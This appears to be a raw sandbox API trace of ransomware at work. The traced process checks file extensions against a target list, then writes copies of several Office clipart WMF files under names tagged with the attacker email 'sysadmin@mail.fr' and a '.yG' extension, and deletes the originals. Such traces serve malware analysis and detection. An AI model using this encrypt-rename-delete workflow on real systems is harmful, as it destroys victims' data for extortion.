	[0138.738] lstrlenW (lpString=".ppt") returned 4
	[0138.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.738] lstrlenW (lpString=".zip") returned 4
	[0138.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.738] lstrlenW (lpString=".rar") returned 4
	[0138.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.738] lstrlenW (lpString=".bz2") returned 4
	[0138.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.738] lstrlenW (lpString=".7z") returned 3
	[0138.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.738] lstrlenW (lpString=".dbf") returned 4
	[0138.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.739] lstrlenW (lpString=".1cd") returned 4
	[0138.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.739] lstrlenW (lpString=".jpg") returned 4
	[0138.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.739] lstrlenW (lpString=".doc") returned 4
	[0138.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.739] lstrlenW (lpString=".docx") returned 5
	[0138.739] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.739] lstrlenW (lpString=".pdf") returned 4
	[0138.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.739] lstrlenW (lpString=".xls") returned 4
	[0138.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.739] lstrlenW (lpString=".xlsx") returned 5
	[0138.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.739] lstrlenW (lpString=".ppt") returned 4
	[0138.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.739] lstrlenW (lpString=".zip") returned 4
	[0138.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.739] lstrlenW (lpString=".rar") returned 4
	[0138.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.739] lstrlenW (lpString=".bz2") returned 4
	[0138.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.740] lstrlenW (lpString=".7z") returned 3
	[0138.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.740] lstrlenW (lpString=".dbf") returned 4
	[0138.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.740] lstrlenW (lpString=".1cd") returned 4
	[0138.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.740] lstrlenW (lpString=".jpg") returned 4
	[0138.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.740] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.740] lstrlenW (lpString="DD01173_.WMF") returned 12
	[0138.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.742] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=1804) returned 1
	[0138.742] CloseHandle (hObject=0x428) returned 1
	[0138.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220
	[0138.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.743] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.743] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0138.744] GetLastError () returned 0x0
	[0138.744] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x70c, lpOverlapped=0x0) returned 1
	[0138.854] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x710, lpOverlapped=0x0) returned 1
	[0138.856] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.856] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0138.856] SetEndOfFile (hFile=0x4a0) returned 1
	[0138.856] CloseHandle (hObject=0x4a0) returned 1
	[0138.856] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.856] SetEndOfFile (hFile=0x428) returned 1
	[0138.859] CloseHandle (hObject=0x428) returned 1
	[0138.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0138.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1
	[0138.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.860] lstrlenW (lpString=".doc") returned 4
	[0138.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.860] lstrlenW (lpString=".docx") returned 5
	[0138.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.860] lstrlenW (lpString=".pdf") returned 4
	[0138.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.861] lstrlenW (lpString=".xls") returned 4
	[0138.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.861] lstrlenW (lpString=".xlsx") returned 5
	[0138.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.861] lstrlenW (lpString=".ppt") returned 4
	[0138.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.861] lstrlenW (lpString=".zip") returned 4
	[0138.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.861] lstrlenW (lpString=".rar") returned 4
	[0138.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.861] lstrlenW (lpString=".bz2") returned 4
	[0138.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.861] lstrlenW (lpString=".7z") returned 3
	[0138.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.861] lstrlenW (lpString=".dbf") returned 4
	[0138.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.861] lstrlenW (lpString=".1cd") returned 4
	[0138.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.861] lstrlenW (lpString=".jpg") returned 4
	[0138.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.861] lstrlenW (lpString=".doc") returned 4
	[0138.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.862] lstrlenW (lpString=".docx") returned 5
	[0138.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.862] lstrlenW (lpString=".pdf") returned 4
	[0138.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.862] lstrlenW (lpString=".xls") returned 4
	[0138.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.862] lstrlenW (lpString=".xlsx") returned 5
	[0138.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.862] lstrlenW (lpString=".ppt") returned 4
	[0138.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.862] lstrlenW (lpString=".zip") returned 4
	[0138.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.862] lstrlenW (lpString=".rar") returned 4
	[0138.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.862] lstrlenW (lpString=".bz2") returned 4
	[0138.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.862] lstrlenW (lpString=".7z") returned 3
	[0138.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.862] lstrlenW (lpString=".dbf") returned 4
	[0138.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.862] lstrlenW (lpString=".1cd") returned 4
	[0138.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0138.862] lstrlenW (lpString=".jpg") returned 4
	[0138.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.863] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.863] lstrlenW (lpString="DD01176_.WMF") returned 12
	[0138.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.863] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=1888) returned 1
	[0138.863] CloseHandle (hObject=0x428) returned 1
	[0138.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220
	[0138.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.867] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.867] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0138.869] GetLastError () returned 0x0
	[0138.869] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x760, lpOverlapped=0x0) returned 1
	[0138.978] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x770, lpOverlapped=0x0) returned 1
	[0138.979] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.979] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0138.979] SetEndOfFile (hFile=0x4a0) returned 1
	[0138.979] CloseHandle (hObject=0x4a0) returned 1
	[0138.979] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.979] SetEndOfFile (hFile=0x428) returned 1
	[0138.982] CloseHandle (hObject=0x428) returned 1
	[0138.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0138.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1
	[0138.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.983] lstrlenW (lpString=".doc") returned 4
	[0138.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.983] lstrlenW (lpString=".docx") returned 5
	[0138.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.983] lstrlenW (lpString=".pdf") returned 4
	[0138.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.983] lstrlenW (lpString=".xls") returned 4
	[0138.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.983] lstrlenW (lpString=".xlsx") returned 5
	[0138.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.983] lstrlenW (lpString=".ppt") returned 4
	[0138.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.983] lstrlenW (lpString=".zip") returned 4
	[0138.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.983] lstrlenW (lpString=".rar") returned 4
	[0138.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.983] lstrlenW (lpString=".bz2") returned 4
	[0138.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.983] lstrlenW (lpString=".7z") returned 3
	[0138.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.984] lstrlenW (lpString=".dbf") returned 4
	[0138.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.984] lstrlenW (lpString=".1cd") returned 4
	[0138.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.984] lstrlenW (lpString=".jpg") returned 4
	[0138.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.984] lstrlenW (lpString=".doc") returned 4
	[0138.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.984] lstrlenW (lpString=".docx") returned 5
	[0138.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.984] lstrlenW (lpString=".pdf") returned 4
	[0138.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.984] lstrlenW (lpString=".xls") returned 4
	[0138.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.984] lstrlenW (lpString=".xlsx") returned 5
	[0138.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.984] lstrlenW (lpString=".ppt") returned 4
	[0138.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.984] lstrlenW (lpString=".zip") returned 4
	[0138.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.985] lstrlenW (lpString=".rar") returned 4
	[0138.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.985] lstrlenW (lpString=".bz2") returned 4
	[0138.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.985] lstrlenW (lpString=".7z") returned 3
	[0138.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.985] lstrlenW (lpString=".dbf") returned 4
	[0138.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.985] lstrlenW (lpString=".1cd") returned 4
	[0138.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0138.985] lstrlenW (lpString=".jpg") returned 4
	[0138.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.985] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.985] lstrlenW (lpString="DD01178_.WMF") returned 12
	[0138.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.986] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=3796) returned 1
	[0138.986] CloseHandle (hObject=0x428) returned 1
	[0138.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220
	[0138.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.987] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.987] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0138.987] GetLastError () returned 0x0
	[0138.988] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xed4, lpOverlapped=0x0) returned 1
	[0139.453] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xee0, lpOverlapped=0x0) returned 1
	[0139.455] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.455] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0139.455] SetEndOfFile (hFile=0x4a0) returned 1
	[0139.457] CloseHandle (hObject=0x4a0) returned 1
	[0139.457] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.457] SetEndOfFile (hFile=0x428) returned 1
	[0139.473] CloseHandle (hObject=0x428) returned 1
	[0139.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0141.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1
	[0141.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.586] lstrlenW (lpString=".doc") returned 4
	[0141.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0141.586] lstrlenW (lpString=".docx") returned 5
	[0141.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0141.586] lstrlenW (lpString=".pdf") returned 4
	[0141.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0141.586] lstrlenW (lpString=".xls") returned 4
	[0141.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
